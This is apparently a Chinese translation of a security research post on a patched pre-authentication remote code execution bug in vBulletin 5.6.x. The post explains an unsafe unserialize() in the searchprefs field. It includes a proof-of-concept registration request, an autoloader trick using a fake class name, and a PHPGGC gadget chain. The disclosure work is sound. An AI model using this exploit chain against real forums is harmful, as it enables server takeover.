2022 年 8 月下旬,我们向vBulletin报告了一个预身份验证远程代码执行漏洞。该错误是由于 ORM 中对非标量数据的处理不当,导致任意反序列化。然而,利用并不像预期的那么简单。
该错误已在5.6.9 PL1、5.6.8 PL1 和 5.6.7 PL1中修补。没有发布 CVE。
这篇博文描述的错误与 2022 年 9 月在 Beerump 上出现的错误相同。
vBulletin 的对象关系映射器 (ORM) 非常简单。每个持久对象都扩展vB_DataManager
并定义了一个validfields
属性,该属性列出了它的字段及其属性。例如,User
类的第一个字段如下所示:
class vB_DataManager_User extends vB_DataManager
{
/**
* 用户识别和必填字段及其类型数组
*
* @var array
*/
protected $validfields = array (
'userid' => array (
vB_Cleaner :: TYPE_UINT ,
vB_DataManager_Constants :: REQ_INCR ,
vB_DataManager_Constants :: VF_METHOD ,
'verify_nonzero'
),
'username' => array (
vB_Cleaner ::TYPE_STR ,
vB_DataManager_Constants :: REQ_YES ,
vB_DataManager_Constants :: VF_METHOD
),
'email' => array (
vB_Cleaner :: TYPE_STR ,
vB_DataManager_Constants :: REQ_YES ,
vB_DataManager_Constants :: VF_METHOD ,
'verify_useremail'
),
...
);
对于每个字段,我们都有一个描述其类型的数组,是否为必填字段,以及一个函数来验证值是否正确并在必要时修改它。
例如,email
是一个字符串类型的字段 ( vB_Cleaner::TYPE_STR
),是必需的 ( vB_DataManager_Constants::REQ_YES
),并且需要使用该verify_useremail()
方法进行验证。
每当用户注册时,vBulletin 都会尝试创建一个vB_DataManager_User
包含所有给定字段的实例。如果发生任何验证错误(类型不正确、验证函数返回 false),则该过程会产生错误。
现在,除了标量字段,vBulletin 有时还需要存储复杂类型,例如数组。为此,vBulletin 选择序列化数据:当一个字段应该是一个数组时,它serialize()
在存储到数据库之前被序列化(通过调用),并在从数据库unserialize()
中取出时被反序列化(通过调用)。如果正确实施,此方法不会带来安全风险。
一个这样的数组字段是searchprefs
,vB_DataManager_User
类的:
'searchprefs' => array (
vB_Cleaner :: TYPE_NOCLEAN ,
vB_DataManager_Constants :: REQ_NO ,
vB_DataManager_Constants :: VF_METHOD ,
'verify_serialized'
),
该字段没有类型限制,不是必需的,并且将使用verify_serialized()
预示可疑实现的函数名称进行验证。
实际上,您如何验证一个值是否已序列化?
function verify_serialized(&$data)
{
if ($data === '')
{
$data = serialize(array());
return true;
}
else
{
if (!is_array($data))
{
$data = unserialize($data); // <---------
if ($data === false)
{
return false;
}
}
$data = serialize($data);
}
return true;
}
可能有很多方法可以做到这一点,但 vBulletin 做错了:它反序列化数据并检查错误。
现在,由于该searchprefs
字段可以由用户在注册时提交,这为攻击者提供了预认证unserialize()
。这是一个 POC:
POST /ajax/api/user/save HTTP/1.1
Host: 172.17.0.2
securitytoken=guest
&options=
&adminoptions=
&userfield=
&userid=0
&user[email][email protected]
&user[username]=toto
&password=password
&user[password]=password
&user[searchprefs]=O:12:"PDOStatement":0:{}
在 PHP 中,在诸如 vBulletin 的大型框架上进行反序列化:我们希望非常快地将此错误转换为 RCE。然而,事实证明这比预期的要难。
利用unserialize()
时,通常有两种方法:要么使用PHPGGC为知名库生成 payload,要么在代码中找到新的 gadget 链。在 vBulletin 的案例中,这两个选项都不是最优的。
第二个选项是不行的:几乎每个 vBulletin 类都使用vB_Trait_NoSerialize
trait,它在 时引发异常__wakeup()
,__unserialize()
并且调用类似的东西。因此,vBulletin 开发人员生成的代码不能用于开发。
trait vB_Trait_NoSerialize
{
public function __wakeup ()
{
throw new Exception ( '不支持序列化' );
}
public function __unserialize ()
{
throw new Exception ( '不支持序列化' );
}
...
}
另一方面,快速浏览一下项目就会发现使用了PHPGGC支持的 Monolog 库。但是,如果我们尝试使用有效载荷进行利用monolog/rce*
,我们就不会成功。
原因很简单。尽管实际存在于 下,但无法访问packages/googlelogin/vendor/monolog
Monolog库:默认情况下, googlelogin包在 vBulletin 中是禁用的,因此它的任何文件都不会被 vB 加载。这意味着它的,它包含 Monolog 类的自动加载器,也不是d。结果,PHP 不知道这些类。真可惜:尽管自动加载机制很有用,但如果不加载自动加载器,就无法加载类。vendor/autoload.php
include()
因此,我们有两种相反的情况,都同样无用:在一种情况下(vBulletin),我们可以加载任何类,但它们都是无用的,而在另一种情况下(Monolog),我们很乐意使用这些类,但我们无法加载他们。
幸运的是,实例化对象并不是我们可以对任意unserialize()
. 我们也可以调用自动加载器。这就引出了一个问题:vBulletin 的自动加载器有什么作用?
与每个现代 PHP 项目一样,vBulletin 定义了一个自动加载器。虽然有点复杂,但它归结为这个(简化的)代码:
spl_autoload_register(array('vB', 'autoload'));
class vB
{
public static function autoload($classname, $load_map = false, $check_file = true)
{
$fclassname = strtolower($classname);
$segments = explode('_', $fclassname);
switch($segments[0]) // [1]
{
case 'vb':
$vbPath = true;
$filename = VB_PATH; // ./vb/
break;
case 'vb5':
$vbPath = true;
$filename = VB5_PATH; // ./vb5/
break;
default:
$vbPath = false;
$filename = VB_PKG_PATH; // ./packages/
break;
}
if (sizeof($segments) > ($vbPath ? 2 : 1))
{
$filename .= implode('/', array_slice($segments, ($vbPath ? 1 : 0), -1)) . '/'; // [2]
}
$filename .= array_pop($segments) . '.php'; // [3]
if(file_exists($filename))
require($filename); // [4]
}
}
本质上,自动加载器获取一个类名,将其转换为小写,然后将其拆分为以_
- 分隔的段。第一段用于确定基本目录1,而其他段仅用作目录名称2。最后一段定义文件的名称3。然后包含计算出的文件路径4。
例如,第一次 vBulletin 实例化vB_DataManager_User
时,PHP 不知道该类。因此,它调用每个类加载器,包括vB::autoload()
生成包含类的文件的名称vb/datamanager/user.php
,并加载所述文件。该类现已定义,PHP 可以对其进行实例化。
vBulletin 自动加载器有一个有趣的特性:给定一个类名,它可以在项目树中包含任何 PHP 文件。例如,运行new A_B_C();
会强制自动加载器包含a/b/c.php
. 可悲的是,尽管文件包含可以工作,但代码最终会崩溃,因为A_B_C
该类不存在。
现在,当谈到加载类时,unserialize()
有一个怪癖:如果反序列化一个未找到其类名的对象(即使在运行自动加载器之后),该函数也不会像我们期望的那样引发异常或失败。它将返回一个实例__PHP_Incomplete_Class
。该对象对攻击者来说毫无用处,因为您无法访问其属性或调用其方法。然而,重要的是反序列化过程不会崩溃,它会继续进行。
你可能知道这是怎么回事。我们想要包含packages/googlelogin/vendor/autoload.php
,其中包含Monolog
类的自动加载器。我们将为此使用一个假的类名。如果我们反序列化这个有效载荷:
O :27 :“googlelogin_vendor_autoload” :0 :{}
发生以下步骤:
unserialize()
尝试加载类googlelogin_vendor_autoload
它不存在,所以自动加载器被称为
vB::autoload()
构造文件名packages/googlelogin/vendor/autoload.php
并包含它
尽管文件存在,但命名的类googlelogin_vendor_autoload
不存在
结果,unserialize()
返回__PHP_Incomplete_Class
执行继续......
我们刚刚让 vBulletin 的自动加载器包含了另一个自动加载器。因此,Monolog 类现在将在范围内。攻击指日可待:我们发送一个数组,第一项是我们的假类,第二项Monolog
是 PHPGGC 生成的有效负载。
a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";...}}
为了利用,我们使用 PHPGGC 生成有效负载:
payload:https://github.com/ambionics/phpggc/blob/master/gadgetchains/vBulletin/RCE/1/chain.php
<?php
namespace GadgetChain\vBulletin;
require_once(__DIR__ . "/../../../Monolog/RCE/1/chain.php");
# See https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
class RCE1 extends \GadgetChain\Monolog\RCE1
{
public static $version = '-5.6.9+';
public static $vector = '__destruct';
public static $author = 'cfreal';
public function generate(array $parameters)
{
return [
new \googlelogin_vendor_autoload(),
parent::generate($parameters)
];
}
}
并运行一个请求:
我们得到了预授权代码执行。
我们成功地将vBulletin 上的0 天预身份验证转换unserialize()
为远程代码执行漏洞,尽管应用程序采取了大量缓解措施。
例如,该技术的推广可以允许将文件写入小工具链转换为直接远程代码执行;这可能会在以后在PHPGGC中实现。